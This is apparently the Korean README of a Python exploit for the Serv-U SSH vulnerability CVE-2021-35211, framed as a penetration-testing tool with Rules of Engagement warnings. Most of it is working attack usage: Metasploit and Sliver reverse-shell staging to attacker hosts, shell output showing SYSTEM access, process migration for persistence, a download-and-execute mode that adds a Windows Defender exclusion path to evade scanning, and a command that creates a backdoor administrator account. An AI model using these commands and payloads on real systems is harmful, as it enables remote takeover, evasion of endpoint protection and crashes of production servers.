
Serv-U SSH 취약점(CVE-2021-35211)을 위한 Python 익스플로잇으로, stage, exec, download-execute 등 여러 페이로드 모드를 지원하여 셸코드 실행과 명령 주입을 가능하게 합니다.
이 익스플로잇은 매번 동작하지는 않지만, 대략 5~6회 중 1회 정도는 셸코드를 실행할 수 있을 만큼은 동작합니다. 다만 실패한 익스플로잇이 Serv-U 서버를 크래시시키는 경우도 있습니다. 반드시 Rules of Engagement(RoE)가 서비스 손실 또는 성능 저하 위험을 허용하는지 확인하세요. 테스트에서 관찰된 증상은 다음과 같습니다.
사용자 유의.
버전이 중요합니다. 이 익스플로잇은 Serv-U 버전 15.2.3.717에서만 유효한 하드코딩된 ROP 주소를 사용합니다. 다른 버전을 추가할 수도 있으니, 다른 버전의 Serv-U 또는 Windows에서 동작해야 한다면 문의하세요.
% ncat www.example.com 22
SSH-2.0-Serv-U_15.2.3.717
다음 인수를 사용합니다:
% python3 CVE-2021-35211.py
usage: CVE-2021-35211.py [-h] [-p TARGETPORT] targetHost {stage,exec,downloadexec} ...
성공적인 공격에서 실행할 수 있는 세 가지 모드(페이로드)가 있습니다:
stageexecdownloadexec익스플로잇이 성공하면 Metasploit/Sliver 호환 셸코드 스테이저를 실행합니다. 모든 페이로드 중에서 신뢰성이 가장 낮으므로 `downloadexec1 대신을 고려하세요. 실행 예시는 다음과 같습니다:
% python3 CVE-2021-35211.py example.com stage -h
usage: CVE-2021-35211.py targetHost stage [-h] stageHost stagePort
positional arguments:
stageHost Hostname or IPv4 address of your Metasploit/Sliver shellcode staging instance
stagePort Port number for your staging instance
optional arguments:
-h, --help show this help message and exit
stageHost와 stagePort는 Sliver/Metasploit 머신에서 실행 중인 리스닝 핸들러를 가리킵니다. 어떤 페이로드든 선택할 수 있지만, 제가 확인한 결과 안정적으로 동작하는 유일한 페이로드는 windows/x64/shell/reverse_tcp입니다. 안타깝게도 이 페이로드는 암호화된 셸이 아니라서, 그런 셸을 띄우기 전에 Rules of Engagement를 확인해야 합니다.
다시 한번, 사용자 유의.
kali 박스에서 Metasploit을 다음과 같이 설정하세요:
elvis@kali:~ msfconsole
...
msf5 >
msf5 > handler -H 0.0.0.0 -P 10444 -p windows/x64/shell/reverse_tcp
[*] Payload handler running as background job 1.
그런 다음 익스플로잇을 실행합니다:
% python3 CVE-2021-35211.py example.com stage your.metasploit.box 31337
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
kali 박스로 돌아오면 스테이지 요청과 명령 셸 시작을 확인할 수 있습니다:
msf5 >
[*] Sending stage (336 bytes) to example.com
[*] Command shell session 6 opened (10.10.10.14:10444 -> example.com:57562) at 2021-10-22 18:50:11 +0000
msf5 >sessions -i 6
[*] Starting interaction with 6...
(c) Microsoft Corporation. All rights reserved.
C:\Program Files\RhinoSoft\Serv-U>whoami
whoami
nt authority\system
스테이저 페이로드의 Sliver 지원은 매우 실험적이며 거의 동작하지 않습니다. 동작하더라도 대개 세션이 시작되자마자 바로 종료됩니다. 하지만 즉시 종료되지 않는 세션을 얻었다면 다른 프로세스로 마이그레이션하여 Sliver 접근을 유지할 수 있습니다.
Sliver 서버에서 stage-listener 명령을 실행하여 리스너를 설정하세요. 스테이징에 대한 자세한 내용은 Sliver 문서를 참조하세요:
elvis@h:/ehome/haggis$ sudo sliver-server
███████╗██╗ ██╗██╗ ██╗███████╗██████╗
██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗
███████╗██║ ██║██║ ██║█████╗ ██████╔╝
╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗
███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║
╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝
All hackers gain first strike
[*] Server v1.4.17 - 410f0756d26cb279216aecde68c14e68b5c9df32
[*] Welcome to the sliver shell, please type 'help' for options
[*] Check for updates with the 'update' command
sliver >
sliver > stage-listener --url tcp://0.0.0.0:10443 --profile win-shellcode
stage 모드로 익스플로잇을 실행합니다:
% python3 CVE-2021-35211.py example.com stage your.sliver.box 10443
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
익스플로잇이 동작한다면(Sliver 또는 Meterpreter 페이로드에서는 매우 드물게 동작합니다) 다음과 같은 화면을 보게 됩니다. (그리고 네, Sliver가 그 페이로드 이름을 스스로 지었습니다!):
[*] Session #4 ARTISTIC_PANTIES - example.com:57071 (WIN-EMCK6E5O0DI) - windows/amd64 - Wed, 20 Oct 2021 04:24:10 UTC
sliver > sessions -i 4
[*] Active session ARTISTIC_PANTIES (4)
sliver (ARTISTIC_PANTIES) > info
ID: 4
Name: ARTISTIC_PANTIES
Hostname: WIN-EMCK6E5O0DI
UUID: 0af9fbf2-c8b0-498c-8d9d-332f13e5d0f8
Username: NT AUTHORITY\SYSTEM
UID: S-1-5-18
GID: S-1-5-18
PID: 3956
OS: windows
Version: Server 2016 build 20348 x86_64
Arch: amd64
Remote Address: example.com:57071
Proxy URL: none
Poll Interval: 1
Reconnect Interval: 60
가장 먼저 다른 프로세스로 마이그레이션하세요. Sliver 세션이 종료되고 돌아오지 않을 가능성이 높기 때문입니다. 글을 쓰는 시점에서 저도 근본 원인을 알지 못합니다.
sliver (ARTISTIC_PANTIES) > ps
pid ppid owner executable session
=== ==== ===== ========== =======
0 0 [System Process] -1
4 0 System 0
...
3872 728 NT AUTHORITY\SYSTEM svchost.exe 0
4868 728 BUILTIN\Administrators Serv-U.exe 0
4636 868 BUILTIN\Administrators dllhost.exe 0
sliver (ARTISTIC_PANTIES) > migrate 3872
[*] Successfully migrated to 3872
이 시점이 되면 Serv-U와 이 익스플로잇의 변덕스러운 동작에 영향을 받지 않는 안정적인 Sliver 세션을 확보하게 됩니다.
가장 신뢰할 수 있는 모드이며 Microsoft Defender 엔드포인트 보안에 탐지될 가능성이 가장 낮습니다. 그 이유는 Powershell 명령(powershell -Command "& {Add-MpPreference -ExclusionPath c:\windows\temp}")을 사용해 Microsoft Defender에 디렉터리 제외를 추가하여 Sliver/Meterpreter 등 바이너리가 악성코드 검사를 받지 않게 하기 때문입니다. 이는 Windows Defender로부터 보호해 주지만 그게 전부입니다. 다른 엔드포인트 보안 기술, 네트워크 IDS 등을 고려해야 합니다.
성공하면 URL에서 바이너리를 다운로드하여 실행합니다. 실행 파일을 호스팅하는 웹 서버가 필요합니다. 저는 Python을 사용했지만, SSL 없이 로컬 네트워크에서 테스트하고 있음을 유의하세요. 실제 공격에서 암호화되지 않은 URL을 사용하려면 Rules of Engagement를 확인해야 합니다.
다시 말하지만: 사용자 유의.
간단한 HTTP 리스너를 다음과 같이 실행하세요:
% python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
리스너가 실행 중인 상태에서 익스플로잇을 실행할 수 있습니다:
% python3 serv-u-exploit2.py example.com downloadexec http://192.168.0.144:8000/calc.exe
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
리스너에서 다음과 같은 출력을 볼 수 있습니다:
192.168.0.144 - - [22/Oct/2021 12:28:24] "GET /calc.exe HTTP/1.1" 200 -
대상은 calc.exe를 실행하고 Serv-U 서비스를 재시작하여 사용자가 다시 연결할 수 있게 합니다. 실행 파일은 창을 표시하지 않지만, 이 예제를 실행하면 작업 관리자에서 wincalc.exe를 볼 수 있습니다.
성공하면 대상에서 명령을 실행합니다. 실행 예시는 다음과 같습니다:
% python3 serv-u-exploit2.py example.com exec 'net user bishopfox r34LLy.g00d_p4ssW0rd /add & net localgroup administrators bishopfox /add'
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
이 익스플로잇은 안타깝게도 원격 프로세스를 크래시시키는 경향이 있습니다. 일반적으로 재시작되며, 저는 이를 더 안정적으로 만들 수 있는지 연구 중입니다. 그때까지는 Rules of Engagement를 확인하고 사용자 유의하시기 바랍니다.
Serv-U dll에서 ASLR이 비활성화되어 있다는 사실은 정말 운이 좋았고, 많은 번거로움을 덜어주었습니다.
Control Flow Guard("CFG")와 같은 다른 완화 기술도 비활성화되어 있었습니다. 이 역시 GetProcAddress()와 같은 중요한 함수에 대한 제한된 접근을 우회하지 않고도 익스플로잇을 쉽게 작성할 수 있게 해주었습니다.
ROP 스택의 주소를 계산하는 데 사용하는 방식이 때때로 64비트 정렬되지 않은 주소를 생성할 수 있습니다. 그 결과 GetProcAddress()가 MOVAPS 명령(메모리 주소가 정렬되어 있어야 함)에 도달하면 익스플로잇이 크래시됩니다. 익스플로잇을 더 안정적으로 만들려면 ROP 스택을 정렬된 주소에 강제로 배치하는 방법이 하나의 해결책이 될 수 있습니다. 이는 ROP 페이로드를 조작해야 하므로 독자의 연습 문제로 남겨 둡니다.